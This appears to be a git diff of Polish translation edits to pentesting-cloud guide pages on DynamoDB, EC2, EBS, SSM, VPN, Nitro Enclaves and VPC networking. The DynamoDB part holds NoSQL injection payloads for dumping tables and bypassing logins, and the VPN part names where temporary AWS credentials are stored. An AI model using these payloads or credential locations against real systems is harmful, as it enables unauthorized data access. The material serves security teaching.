### Kopie zapasowe i eksport do S3 -Możliwe jest **zaplanowanie** generowania **kopii zapasowych tabeli** lub tworzenie ich na **żądanie**. Ponadto możliwe jest również włączenie **odzyskiwania w czasie rzeczywistym (PITR) dla tabeli.** Odzyskiwanie w czasie rzeczywistym zapewnia ciągłe **kopie zapasowe** danych DynamoDB przez **35 dni**, aby pomóc w ochronie przed przypadkowymi operacjami zapisu lub usunięcia. +Możliwe jest **zaplanowanie** generowania **kopii zapasowych tabeli** lub tworzenie ich na **żądanie**. Ponadto możliwe jest również włączenie **odzyskiwania w punkcie w czasie (PITR) dla tabeli.** Odzyskiwanie w punkcie w czasie zapewnia ciągłe **kopie zapasowe** danych DynamoDB przez **35 dni**, aby pomóc w ochronie przed przypadkowymi operacjami zapisu lub usunięcia. Możliwe jest również eksportowanie **danych tabeli do S3**, ale tabela musi mieć **włączone PITR**. @@ -59,7 +59,7 @@ aws dynamodb describe-endpoints #Dynamodb endpoints ../aws-unauthenticated-enum-access/aws-dynamodb-unauthenticated-access.md {{#endref}} -### Privesc +### Podwyższenie uprawnień {{#ref}} ../aws-privilege-escalation/aws-dynamodb-privesc.md @@ -71,7 +71,7 @@ aws dynamodb describe-endpoints #Dynamodb endpoints ../aws-post-exploitation/aws-dynamodb-post-exploitation.md {{#endref}} -### Utrzymywanie +### Utrzymywanie dostępu {{#ref}} ../aws-persistence/aws-dynamodb-persistence.md @@ -97,7 +97,7 @@ Zauważ, że **różne warunki** są obsługiwane, jeśli dane są uzyskiwane za > [!NOTE] > W rzeczywistości, akcje **Query** muszą określać **warunek "EQ" (równa się)** w **kluczu głównym**, aby działały, co czyni je znacznie **mniej podatnymi na wstrzykiwania NoSQL** (a także ogranicza operację). -Jeśli możesz **zmienić porównanie** wykonywane lub dodać nowe, możesz pobrać więcej danych. +Jeśli możesz **zmienić porównanie** lub dodać nowe, możesz pobrać więcej danych. ```bash # Comparators to dump the database "NE": "a123" #Get everything that doesn't equal "a123" @@ -148,7 +148,7 @@ password: none"}],"ComparisonOperator": "NE","AttributeValueList": [{"S": "none ``` ### :property Injection -Niektóre SDK umożliwiają użycie ciągu wskazującego filtrację do wykonania, takiego jak: +Niektóre SDK umożliwiają użycie ciągu wskazującego filtrację, która ma być przeprowadzona, na przykład: ```java new ScanSpec().withProjectionExpression("UserName").withFilterExpression(user_input+" = :username and Password = :password").withValueMap(valueMap) ``` diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/README.md b/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/README.md index d6ae6db0d..4fc3af566 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/README.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/README.md @@ -4,7 +4,7 @@ ## VPC i Sieci -Dowiedz się, czym jest VPC i jakie ma komponenty w: +Dowiedz się, czym jest VPC i jakie są jego komponenty w: {{#ref}} aws-vpc-and-networking-basic-information.md @@ -12,7 +12,7 @@ aws-vpc-and-networking-basic-information.md ## EC2 -Amazon EC2 jest wykorzystywany do uruchamiania **serwerów wirtualnych**. Umożliwia konfigurację **bezpieczeństwa** i **sieci** oraz zarządzanie **przechowywaniem**. Elastyczność Amazon EC2 jest widoczna w jego zdolności do skalowania zasobów zarówno w górę, jak i w dół, skutecznie dostosowując się do zmieniających się wymagań lub wzrostów popularności. Ta funkcja zmniejsza konieczność precyzyjnego przewidywania ruchu. +Amazon EC2 jest wykorzystywane do uruchamiania **serwerów wirtualnych**. Umożliwia konfigurację **bezpieczeństwa** i **sieci** oraz zarządzanie **przechowywaniem**. Elastyczność Amazon EC2 jest widoczna w jego zdolności do skalowania zasobów zarówno w górę, jak i w dół, skutecznie dostosowując się do zmieniających się wymagań lub wzrostów popularności. Ta funkcja zmniejsza konieczność precyzyjnego przewidywania ruchu. Interesujące rzeczy do enumeracji w EC2: @@ -135,7 +135,7 @@ aws ec2 describe-vpc-peering-connections ### Privesc -Na poniższej stronie możesz sprawdzić, jak **nadużyć uprawnień EC2, aby eskalować uprawnienia**: +Na poniższej stronie możesz sprawdzić, jak **wykorzystać uprawnienia EC2 do eskalacji uprawnień**: {{#ref}} ../../aws-privilege-escalation/aws-ec2-privesc.md @@ -149,17 +149,17 @@ Na poniższej stronie możesz sprawdzić, jak **nadużyć uprawnień EC2, aby es ## EBS -Amazon **EBS** (Elastic Block Store) **migawki** to w zasadzie statyczne **kopie zapasowe** woluminów AWS EBS. Innymi słowy, są to **kopie** **dysków** podłączonych do instancji **EC2** w określonym momencie. Migawki EBS mogą być kopiowane między regionami i kontami, a nawet pobierane i uruchamiane lokalnie. +Amazon **EBS** (Elastic Block Store) **migawki** to w zasadzie statyczne **kopie zapasowe** wolumenów AWS EBS. Innymi słowy, są to **kopie** **dysków** podłączonych do instancji **EC2** w określonym momencie. Migawki EBS mogą być kopiowane między regionami i kontami, a nawet pobierane i uruchamiane lokalnie. Migawki mogą zawierać **wrażliwe informacje**, takie jak **kod źródłowy lub klucze API**, dlatego, jeśli masz taką możliwość, zaleca się ich sprawdzenie. ### Różnica AMI & EBS -**AMI** jest używane do **uruchamiania instancji EC2**, podczas gdy **Migawka EC2** jest używana do **tworzenia kopii zapasowych i odzyskiwania danych przechowywanych na woluminie EBS**. Chociaż Migawka EC2 może być używana do tworzenia nowego AMI, nie jest to to samo co AMI i nie zawiera informacji o systemie operacyjnym, serwerze aplikacji ani innym oprogramowaniu wymaganym do uruchomienia aplikacji. +**AMI** jest używane do **uruchamiania instancji EC2**, podczas gdy **Migawka EC2** jest używana do **tworzenia kopii zapasowych i odzyskiwania danych przechowywanych na wolumenie EBS**. Chociaż Migawka EC2 może być używana do tworzenia nowego AMI, nie jest to to samo co AMI i nie zawiera informacji o systemie operacyjnym, serwerze aplikacji ani innym oprogramowaniu wymaganym do uruchomienia aplikacji. ### Privesc -Na poniższej stronie możesz sprawdzić, jak **nadużyć uprawnień EBS, aby eskalować uprawnienia**: +Na poniższej stronie możesz sprawdzić, jak **wykorzystać uprawnienia EBS do eskalacji uprawnień**: {{#ref}} ../../aws-privilege-escalation/aws-ebs-privesc.md @@ -171,7 +171,7 @@ Na poniższej stronie możesz sprawdzić, jak **nadużyć uprawnień EBS, aby es **SSM Agent** umożliwia System Managerowi aktualizację, zarządzanie i konfigurowanie tych zasobów. Agent **przetwarza żądania z usługi Systems Manager w chmurze AWS** i następnie wykonuje je zgodnie z określeniami w żądaniu. -**SSM Agent jest**[ **wstępnie zainstalowany w niektórych AMI**](https://docs.aws.amazon.com/systems-manager/latest/userguide/ami-preinstalled-agent.html) lub musisz [**ręcznie je zainstalować**](https://docs.aws.amazon.com/systems-manager/latest/userguide/sysman-manual-agent-install.html) na instancjach. Ponadto rola IAM używana wewnątrz instancji musi mieć przypisaną politykę **AmazonEC2RoleforSSM**, aby mogła komunikować się. +**SSM Agent jest**[ **wstępnie zainstalowany w niektórych AMI**](https://docs.aws.amazon.com/systems-manager/latest/userguide/ami-preinstalled-agent.html) lub musisz [**ręcznie je zainstalować**](https://docs.aws.amazon.com/systems-manager/latest/userguide/sysman-manual-agent-install.html) na instancjach. Ponadto, rola IAM używana wewnątrz instancji musi mieć przypisaną politykę **AmazonEC2RoleforSSM**, aby mogła komunikować się. ### Enumeracja ```bash @@ -230,7 +230,7 @@ aws autoscaling describe-load-balancers AWS Nitro to zestaw **innowacyjnych technologii**, które stanowią podstawową platformę dla instancji AWS EC2. Wprowadzony przez Amazon w celu **zwiększenia bezpieczeństwa, wydajności i niezawodności**, Nitro wykorzystuje niestandardowe **komponenty sprzętowe i lekkiego hypervisora**. Abstrakcyjnie przenosi wiele tradycyjnych funkcji wirtualizacji na dedykowany sprzęt i oprogramowanie, **minimalizując powierzchnię ataku** i poprawiając efektywność zasobów. Przez odciążenie funkcji wirtualizacji, Nitro pozwala instancjom EC2 na dostarczanie **wydajności bliskiej wydajności sprzętowej**, co czyni go szczególnie korzystnym dla aplikacji wymagających dużych zasobów. Dodatkowo, Nitro Security Chip zapewnia **bezpieczeństwo sprzętu i oprogramowania**, co dodatkowo wzmacnia jego solidną architekturę. -Uzyskaj więcej informacji i jak to enumerować z: +Get more information and how to enumerate it from: {{#ref}} aws-nitro-enum.md @@ -238,7 +238,7 @@ aws-nitro-enum.md ## VPN -VPN pozwala na połączenie twojej **sieci lokalnej (VPN site-to-site)** lub **laptopów pracowników (Client VPN)** z **AWS VPC**, aby usługi mogły być dostępne bez potrzeby ich eksponowania w internecie. +VPN pozwala na połączenie twojej **sieci lokalnej (site-to-site VPN)** lub **laptopów pracowników (Client VPN)** z **AWS VPC**, aby usługi mogły być dostępne bez potrzeby ich eksponowania w internecie. #### Podstawowe komponenty AWS VPN @@ -261,9 +261,9 @@ VPN pozwala na połączenie twojej **sieci lokalnej (VPN site-to-site)** lub **l - Endpoint Client VPN to zasób, który tworzysz w AWS, aby umożliwić i zarządzać sesjami VPN klientów. - Jest używany do umożliwienia indywidualnym urządzeniom (takim jak laptopy, smartfony itp.) bezpiecznego łączenia się z zasobami AWS lub twoją siecią lokalną. - Różni się od Site-to-Site VPN tym, że jest zaprojektowany dla indywidualnych klientów, a nie do łączenia całych sieci. -- W przypadku Client VPN, każde urządzenie klienckie używa oprogramowania klienckiego VPN do nawiązania bezpiecznego połączenia. +- Z Client VPN każde urządzenie klienckie używa oprogramowania klienckiego VPN do nawiązania bezpiecznego połączenia. -Możesz [**znaleźć więcej informacji o korzyściach i komponentach AWS VPN tutaj**](aws-vpc-and-networking-basic-information.md#vpn). +You can [**find more information about the benefits and components of AWS VPNs here**](aws-vpc-and-networking-basic-information.md#vpn). ### Enumeration ```bash @@ -293,7 +293,7 @@ aws ec2 describe-vpn-connections **Lokalne tymczasowe poświadczenia** -Gdy klient AWS VPN jest używany do łączenia się z VPN, użytkownik zazwyczaj **loguje się do AWS**, aby uzyskać dostęp do VPN. Następnie, niektóre **poświadczenia AWS są tworzone i przechowywane** lokalnie w celu nawiązania połączenia VPN. Te poświadczenia są **przechowywane w** `$HOME/.config/AWSVPNClient/TemporaryCredentials//temporary-credentials.txt` i zawierają **AccessKey**, **SecretKey** i **Token**. +Gdy klient AWS VPN jest używany do łączenia się z VPN, użytkownik zazwyczaj **loguje się do AWS**, aby uzyskać dostęp do VPN. Następnie, niektóre **poświadczenia AWS są tworzone i przechowywane** lokalnie w celu nawiązania połączenia VPN. Te poświadczenia są **przechowywane w** `$HOME/.config/AWSVPNClient/TemporaryCredentials//temporary-credentials.txt` i zawierają **AccessKey**, **SecretKey** oraz **Token**. Poświadczenia należą do użytkownika `arn:aws:sts:::assumed-role/aws-vpn-client-metrics-analytics-access-role/CognitoIdentityCredentials` (TODO: zbadać więcej na temat uprawnień tych poświadczeń). diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/aws-nitro-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/aws-nitro-enum.md index 6ab2df539..90b237fd7 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/aws-nitro-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/aws-nitro-enum.md @@ -4,11 +4,11 @@ ## Podstawowe informacje -AWS Nitro to zestaw **innowacyjnych technologii**, które stanowią podstawową platformę dla instancji AWS EC2. Wprowadzony przez Amazon w celu **zwiększenia bezpieczeństwa, wydajności i niezawodności**, Nitro wykorzystuje niestandardowe **komponenty sprzętowe i lekki hipernadzorcę**. Abstrakcyjnie przenosi wiele tradycyjnych funkcji wirtualizacji na dedykowany sprzęt i oprogramowanie, **minimalizując powierzchnię ataku** i poprawiając efektywność zasobów. Dzięki przeniesieniu funkcji wirtualizacji, Nitro pozwala instancjom EC2 na osiąganie **wydajności bliskiej wydajności sprzętowej**, co jest szczególnie korzystne dla aplikacji wymagających dużych zasobów. Dodatkowo, Nitro Security Chip zapewnia **bezpieczeństwo sprzętu i oprogramowania układowego**, co dodatkowo wzmacnia jego solidną architekturę. +AWS Nitro to zestaw **innowacyjnych technologii**, które stanowią podstawową platformę dla instancji AWS EC2. Wprowadzony przez Amazon w celu **zwiększenia bezpieczeństwa, wydajności i niezawodności**, Nitro wykorzystuje niestandardowe **komponenty sprzętowe i lekki hipernadzorcę**. Abstrakcyjnie przenosi wiele tradycyjnych funkcji wirtualizacji na dedykowany sprzęt i oprogramowanie, **minimalizując powierzchnię ataku** i poprawiając efektywność zasobów. Przez odciążenie funkcji wirtualizacji, Nitro pozwala instancjom EC2 na dostarczanie **wydajności bliskiej wydajności sprzętowej**, co jest szczególnie korzystne dla aplikacji wymagających dużych zasobów. Dodatkowo, Nitro Security Chip zapewnia **bezpieczeństwo sprzętu i oprogramowania układowego**, co dodatkowo wzmacnia jego solidną architekturę. ### Nitro Enclaves -**AWS Nitro Enclaves** zapewniają bezpieczne, **izolowane środowisko obliczeniowe w instancjach Amazon EC2**, zaprojektowane specjalnie do przetwarzania wysoce wrażliwych danych. Wykorzystując system AWS Nitro, te enklawy zapewniają solidną **izolację i bezpieczeństwo**, idealne do **obsługi poufnych informacji**, takich jak PII czy dane finansowe. Oferują minimalistyczne środowisko, znacznie redukując ryzyko ujawnienia danych. Dodatkowo, Nitro Enclaves wspierają kryptograficzną atestację, umożliwiając użytkownikom weryfikację, że tylko autoryzowany kod jest uruchamiany, co jest kluczowe dla utrzymania ścisłej zgodności i standardów ochrony danych. +**AWS Nitro Enclaves** zapewniają bezpieczne, **izolowane środowisko obliczeniowe w instancjach Amazon EC2**, zaprojektowane specjalnie do przetwarzania wysoce wrażliwych danych. Wykorzystując system AWS Nitro, te enklawy zapewniają solidną **izolację i bezpieczeństwo**, idealne do **obsługi poufnych informacji**, takich jak PII czy dane finansowe. Oferują minimalistyczne środowisko, znacznie redukując ryzyko ujawnienia danych. Dodatkowo, Nitro Enclaves wspierają kryptograficzną attestację, umożliwiając użytkownikom weryfikację, że tylko autoryzowany kod jest uruchamiany, co jest kluczowe dla utrzymania ścisłej zgodności i standardów ochrony danych. > [!OSTRZEŻENIE] > Obrazy Nitro Enclave są **uruchamiane z wnętrza instancji EC2** i nie możesz zobaczyć w konsoli internetowej AWS, czy instancja EC2 uruchamia obrazy w Nitro Enclave, czy nie. @@ -41,7 +41,7 @@ nitro-cli build-enclave --docker-uri : --output-file nitro-img. ``` Jak widać, obrazy Nitro Enclave używają rozszerzenia **`eif`** (Enclave Image File). -Wynik będzie wyglądał podobnie do: +Wynik będzie wyglądać podobnie do: ``` Using the locally available Docker image... Enclave Image successfully created. @@ -63,7 +63,7 @@ Zgodnie z [**dokumentacją**](https://catalog.us-east-1.prod.workshops.aws/event > [!CAUTION] > Zawsze pamiętaj, że musisz **zarezerwować pewne zasoby dla rodzica EC2**! -Po poznaniu zasobów, które należy przydzielić obrazowi, a nawet po modyfikacji pliku konfiguracyjnego, możliwe jest uruchomienie obrazu enklawy za pomocą: +Po poznaniu zasobów, które należy przydzielić obrazowi i nawet po modyfikacji pliku konfiguracyjnego, możliwe jest uruchomienie obrazu enklawy za pomocą: ```shell # Restart the service so the new default values apply sudo systemctl start nitro-enclaves-allocator.service && sudo systemctl enable nitro-enclaves-allocator.service @@ -92,7 +92,7 @@ nitro-cli terminate-enclave --enclave-id ${ENCLAVE_ID} Jedynym sposobem na komunikację z obrazem **enklawy** jest użycie **vsocks**. -**Virtual Socket (vsock)** to rodzina gniazd w systemie Linux, zaprojektowana specjalnie w celu ułatwienia **komunikacji** między maszynami wirtualnymi (**VM**) a ich **hypervisorami**, lub między VM **sami**. Vsock umożliwia efektywną, **dwukierunkową komunikację** bez polegania na stosie sieciowym hosta. Umożliwia to VM komunikację nawet bez konfiguracji sieci, **używając 32-bitowego identyfikatora kontekstu (CID) i numerów portów** do identyfikacji i zarządzania połączeniami. API vsock obsługuje zarówno typy gniazd strumieniowych, jak i datagramowych, podobnie jak TCP i UDP, co zapewnia wszechstronne narzędzie dla aplikacji na poziomie użytkownika w wirtualnych środowiskach. +**Virtual Socket (vsock)** to rodzina gniazd w systemie Linux, zaprojektowana specjalnie w celu ułatwienia **komunikacji** między maszynami wirtualnymi (**VMs**) a ich **hypervisorami**, lub między VM **sami**. Vsock umożliwia efektywną, **dwukierunkową komunikację** bez polegania na stosie sieciowym hosta. Umożliwia to VM komunikację nawet bez konfiguracji sieci, **używając 32-bitowego identyfikatora kontekstu (CID) i numerów portów** do identyfikacji i zarządzania połączeniami. API vsock obsługuje zarówno typy gniazd strumieniowych, jak i datagramowych, podobnie jak TCP i UDP, co zapewnia wszechstronne narzędzie dla aplikacji na poziomie użytkownika w wirtualnych środowiskach. > [!TIP] > Dlatego adres vsock wygląda tak: `:` @@ -126,7 +126,7 @@ Aby znaleźć **CIDs** obrazów działających w enklawie, możesz po prostu wyk
> [!WARNING] -> Zauważ, że z hosta nie ma sposobu, aby dowiedzieć się, czy CID eksponuje jakiś port! Chyba że używasz jakiegoś **skanera portów vsock, takiego jak** [**https://github.com/carlospolop/Vsock-scanner**](https://github.com/carlospolop/Vsock-scanner). +> Zauważ, że z hosta nie ma sposobu, aby wiedzieć, czy CID eksponuje jakiś port! Chyba że używasz jakiegoś **skanera portów vsock, takiego jak** [**https://github.com/carlospolop/Vsock-scanner**](https://github.com/carlospolop/Vsock-scanner). ### Vsock Server/Listener @@ -212,7 +212,7 @@ Można zobaczyć adresy vsock (**`:`**) używane przez hosta EC2 za p sudo ss -l -p -n | grep v_str v_str LISTEN 0 0 3:8001 *:* users:(("vsock-proxy",pid=9458,fd=3)) ``` -## Nitro Enclave Atestacja i KMS +## Nitro Enclave Atestacja & KMS SDK Nitro Enclaves pozwala na żądanie **podpisanego kryptograficznie dokumentu atestacyjnego** od Nitro **Hypervisora**, który zawiera **unikalne pomiary** specyficzne dla tej enklawy. Te pomiary, które obejmują **hashe i rejestry konfiguracji platformy (PCR)**, są używane podczas procesu atestacji do **udowodnienia tożsamości enklawy** i **budowania zaufania z zewnętrznymi usługami**. Dokument atestacyjny zazwyczaj zawiera wartości takie jak PCR0, PCR1 i PCR2, które spotkałeś wcześniej podczas budowania i zapisywania pliku EIF enklawy. @@ -220,7 +220,7 @@ Z [**dokumentacji**](https://catalog.us-east-1.prod.workshops.aws/event/dashboar
PCRHash of ...Opis
PCR0Plik obrazu enklawyCiagły pomiar zawartości pliku obrazu, bez danych sekcji.
PCR1Jądro Linux i bootstrapCiagły pomiar danych jądra i boot ramfs.
PCR2AplikacjaCiagły, uporządkowany pomiar aplikacji użytkownika, bez boot ramfs.
PCR3Rola IAM przypisana do instancji nadrzędnejCiagły pomiar roli IAM przypisanej do instancji nadrzędnej. Zapewnia, że proces atestacji kończy się sukcesem tylko wtedy, gdy instancja nadrzędna ma odpowiednią rolę IAM.
PCR4ID instancji nadrzędnejCiagły pomiar ID instancji nadrzędnej. Zapewnia, że proces atestacji kończy się sukcesem tylko wtedy, gdy instancja nadrzędna ma konkretne ID instancji.
PCR8Certyfikat podpisu pliku obrazu enklawyPomiar certyfikatu podpisu określonego dla pliku obrazu enklawy. Zapewnia, że proces atestacji kończy się sukcesem tylko wtedy, gdy enklawa została uruchomiona z pliku obrazu enklawy podpisanego przez konkretny certyfikat.
-Możesz zintegrować **atestację kryptograficzną** w swoich aplikacjach i wykorzystać wbudowane integracje z usługami takimi jak **AWS KMS**. AWS KMS może **walidować atestacje enklaw** i oferuje klucze warunkowe oparte na atestacji (`kms:RecipientAttestation:ImageSha384` i `kms:RecipientAttestation:PCR`) w swoich politykach kluczy. Polityki te zapewniają, że AWS KMS zezwala na operacje z użyciem klucza KMS **tylko wtedy, gdy dokument atestacyjny enklawy jest ważny** i spełnia **określone warunki**. +Możesz zintegrować **atestację kryptograficzną** w swoich aplikacjach i wykorzystać wstępnie zbudowane integracje z usługami takimi jak **AWS KMS**. AWS KMS może **walidować atestacje enklaw** i oferuje klucze warunkowe oparte na atestacji (`kms:RecipientAttestation:ImageSha384` i `kms:RecipientAttestation:PCR`) w swoich politykach kluczy. Polityki te zapewniają, że AWS KMS zezwala na operacje z użyciem klucza KMS **tylko wtedy, gdy dokument atestacyjny enklawy jest ważny** i spełnia **określone warunki**. > [!TIP] > Zauważ, że Enklawy w trybie debug (--debug) generują dokumenty atestacyjne z PCR, które składają się z zer (`000000000000000000000000000000000000000000000000`). Dlatego polityki KMS sprawdzające te wartości będą nieudane. @@ -231,7 +231,7 @@ Z perspektywy atakującego, zauważ, że niektóre PCR pozwoliłyby na modyfikac Dlatego atakujący, który skompromituje instancję EC2, może być w stanie uruchomić inne obrazy enklaw w celu ominięcia tych zabezpieczeń. -Badania nad tym, jak modyfikować/tworzyć nowe obrazy, aby obejść każde zabezpieczenie (szczególnie te mniej oczywiste) są nadal w planach. +Badania nad tym, jak modyfikować/tworzyć nowe obrazy, aby obejść każde zabezpieczenie (szczególnie te nie tak oczywiste) są nadal w planach. ## Referencje diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/aws-vpc-and-networking-basic-information.md b/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/aws-vpc-and-networking-basic-information.md index ab37c11d2..3b468caef 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/aws-vpc-and-networking-basic-information.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/aws-vpc-and-networking-basic-information.md @@ -1,16 +1,16 @@ -# AWS - VPC & Podstawowe informacje o sieci +# AWS - VPC & Networking Basic Information {{#include ../../../../banners/hacktricks-training.md}} -## AWS Networking w skrócie +## AWS Networking in a Nutshell -**VPC** zawiera **CIDR sieci** jak 10.0.0.0/16 (z jego **tablicą routingu** i **ACL sieciowym**). +**VPC** zawiera **CIDR sieci** jak 10.0.0.0/16 (z jego **tablicą routingu** i **ACL sieci**). -Ta sieć VPC jest podzielona na **podsieci**, więc **podsieć** jest bezpośrednio **związana** z **VPC**, **tablicą routingu** i **ACL sieciowym**. +Ta sieć VPC jest podzielona na **podsieci**, więc **podsieć** jest bezpośrednio **związana** z **VPC**, **tablicą routingu** i **ACL sieci**. Następnie, **Interfejsy sieciowe** podłączone do usług (jak instancje EC2) są **połączone** z **podsieciami** za pomocą **grup zabezpieczeń**. -Dlatego **grupa zabezpieczeń** ograniczy wystawione porty interfejsów sieciowych, które jej używają, **niezależnie od podsieci**. A **ACL sieciowy** **ograniczy** wystawione porty do **całej sieci**. +Dlatego **grupa zabezpieczeń** ograniczy wystawione porty interfejsów sieciowych, które jej używają, **niezależnie od podsieci**. A **ACL sieci** będzie **ograniczać** wystawione porty do **całej sieci**. Ponadto, aby **uzyskać dostęp do Internetu**, istnieją interesujące konfiguracje do sprawdzenia: @@ -27,7 +27,7 @@ Ponadto, aby **uzyskać dostęp do Internetu**, istnieją interesujące konfigur Amazon **Virtual Private Cloud** (Amazon VPC) umożliwia uruchamianie zasobów AWS w wirtualnej sieci, którą zdefiniowałeś. Ta wirtualna sieć będzie miała kilka podsieci, bramy internetowe do uzyskania dostępu do Internetu, ACL, grupy zabezpieczeń, IP... -### Podsieci +### Subnets Podsieci pomagają w egzekwowaniu wyższego poziomu bezpieczeństwa. **Logiczne grupowanie podobnych zasobów** również pomaga w utrzymaniu **łatwości zarządzania** w całej infrastrukturze. @@ -40,7 +40,7 @@ Podsieci pomagają w egzekwowaniu wyższego poziomu bezpieczeństwa. **Logiczne
-### Tablice routingu +### Route Tables Tablice routingu określają trasowanie ruchu dla podsieci w VPC. Określają, który ruch sieciowy jest przesyłany do internetu lub do połączenia VPN. Zwykle znajdziesz dostęp do: @@ -56,25 +56,25 @@ Na poniższych obrazach możesz sprawdzić różnice w domyślnej publicznej sie
-### ACL +### ACLs -**Listy kontroli dostępu do sieci (ACL)**: ACL sieciowe to zasady zapory, które kontrolują przychodzący i wychodzący ruch sieciowy do podsieci. Mogą być używane do zezwalania lub odmawiania ruchu do określonych adresów IP lub zakresów. +**Listy Kontroli Dostępu do Sieci (ACLs)**: ACL sieci to zasady zapory, które kontrolują przychodzący i wychodzący ruch sieciowy do podsieci. Mogą być używane do zezwalania lub odmawiania ruchu do określonych adresów IP lub zakresów. - Najczęściej zezwala się/odmawia dostępu za pomocą grup zabezpieczeń, ale to jedyny sposób na całkowite przerwanie ustanowionych odwrotnych powłok. Zmodyfikowana zasada w grupach zabezpieczeń nie zatrzymuje już ustanowionych połączeń. - Jednak to dotyczy całej podsieci, bądź ostrożny przy zabranianiu rzeczy, ponieważ potrzebna funkcjonalność może być zakłócona. -### Grupy zabezpieczeń +### Security Groups Grupy zabezpieczeń to wirtualna **zapora**, która kontroluje przychodzący i wychodzący ruch sieciowy **do instancji** w VPC. Relacja 1 SG do M instancji (zwykle 1 do 1).\ Zwykle używa się tego do otwierania niebezpiecznych portów w instancjach, takich jak port 22 na przykład:
-### Adresy IP Elastic +### Elastic IP Addresses _Adres IP Elastic_ to **statyczny adres IPv4** zaprojektowany do dynamicznego przetwarzania w chmurze. Adres IP Elastic jest przypisany do twojego konta AWS i jest twój, dopóki go nie zwolnisz. Używając adresu IP Elastic, możesz zamaskować awarię instancji lub oprogramowania, szybko przemapowując adres na inną instancję w swoim koncie. -### Połączenie między podsieciami +### Connection between subnets Domyślnie wszystkie podsieci mają **automatyczne przypisanie publicznych adresów IP wyłączone**, ale można je włączyć. @@ -82,58 +82,58 @@ Domyślnie wszystkie podsieci mają **automatyczne przypisanie publicznych adres Jeśli **łączysz podsieć z inną podsiecią, nie możesz uzyskać dostępu do podsieci połączonej** z inną podsiecią, musisz stworzyć połączenie z nimi bezpośrednio. **To również dotyczy bram internetowych**. Nie możesz przejść przez połączenie podsieci, aby uzyskać dostęp do internetu, musisz przypisać bramę internetową do swojej podsieci. -### Peering VPC +### VPC Peering -Peering VPC pozwala na **połączenie dwóch lub więcej VPC**, używając IPV4 lub IPV6, tak jakby były częścią tej samej sieci. +VPC peering pozwala na **połączenie dwóch lub więcej VPC**, używając IPV4 lub IPV6, tak jakby były częścią tej samej sieci. Gdy połączenie peer jest ustanowione, **zasoby w jednym VPC mogą uzyskiwać dostęp do zasobów w drugim**. Połączenie między VPC jest realizowane przez istniejącą infrastrukturę sieciową AWS, więc jest wysoce dostępne bez wąskich gardeł w przepustowości. Ponieważ **połączenia peer działają tak, jakby były częścią tej samej sieci**, istnieją ograniczenia dotyczące zakresów bloków CIDR, które mogą być używane.\ Jeśli masz **nakładające się lub duplikujące się zakresy CIDR** dla swojego VPC, to **nie będziesz mógł połączyć VPC** razem.\ -Każde VPC AWS **będzie komunikować się tylko ze swoim partnerem**. Na przykład, jeśli masz połączenie peeringowe między VPC 1 a VPC 2, a inne połączenie między VPC 2 a VPC 3, jak pokazano, to VPC 1 i 2 mogą komunikować się ze sobą bezpośrednio, tak jak VPC 2 i VPC 3, jednak VPC 1 i VPC 3 nie mogą. **Nie możesz routować przez jedno VPC, aby dotrzeć do drugiego.** +Każde VPC AWS **będzie komunikować się tylko ze swoim peerem**. Na przykład, jeśli masz połączenie peeringowe między VPC 1 a VPC 2, oraz inne połączenie między VPC 2 a VPC 3, jak pokazano, to VPC 1 i 2 mogą komunikować się ze sobą bezpośrednio, tak jak VPC 2 i VPC 3, jednak VPC 1 i VPC 3 nie mogą. **Nie możesz routować przez jedno VPC, aby dotrzeć do drugiego.** -### **Logi przepływu VPC** +### **VPC Flow Logs** -W ramach swojego VPC możesz mieć potencjalnie setki lub nawet tysiące zasobów, które komunikują się między różnymi podsieciami, zarówno publicznymi, jak i prywatnymi, a także między różnymi VPC za pomocą połączeń peeringowych VPC. **Logi przepływu VPC pozwalają na uchwycenie informacji o ruchu IP, który przepływa między interfejsami sieciowymi twoich zasobów w ramach twojego VPC**. +W ramach swojego VPC możesz mieć potencjalnie setki lub nawet tysiące zasobów, które komunikują się między różnymi podsieciami, zarówno publicznymi, jak i prywatnymi, a także między różnymi VPC za pośrednictwem połączeń peeringowych VPC. **VPC Flow Logs pozwalają na uchwycenie informacji o ruchu IP, który przepływa między interfejsami sieciowymi twoich zasobów w ramach twojego VPC**. -W przeciwieństwie do logów dostępu S3 i logów dostępu CloudFront, **dane logów generowane przez logi przepływu VPC nie są przechowywane w S3. Zamiast tego, dane logów są wysyłane do logów CloudWatch**. +W przeciwieństwie do logów dostępu S3 i logów dostępu CloudFront, **dane logów generowane przez VPC Flow Logs nie są przechowywane w S3. Zamiast tego, dane logów są wysyłane do logów CloudWatch**. Ograniczenia: -- Jeśli uruchamiasz połączenie peeringowe VPC, to będziesz mógł zobaczyć logi przepływu tylko dla peeringowych VPC, które są w tym samym koncie. +- Jeśli uruchamiasz połączenie peeringowe VPC, to będziesz mógł zobaczyć tylko logi przepływu peeringowych VPC, które są w tym samym koncie. - Jeśli nadal uruchamiasz zasoby w środowisku EC2-Classic, to niestety nie możesz uzyskać informacji z ich interfejsów. - Gdy log przepływu VPC został utworzony, nie można go zmienić. Aby zmienić konfigurację logu przepływu VPC, musisz go usunąć, a następnie utworzyć nowy. -- Następujący ruch nie jest monitorowany i rejestrowany przez logi. Ruch DHCP w ramach VPC, ruch z instancji kierowany do serwera DNS Amazon. -- Wszelki ruch kierowany do adresu IP domyślnego routera VPC oraz ruch do i z następujących adresów, 169.254.169.254, który jest używany do zbierania metadanych instancji, oraz 169.254.169.123, który jest używany do usługi 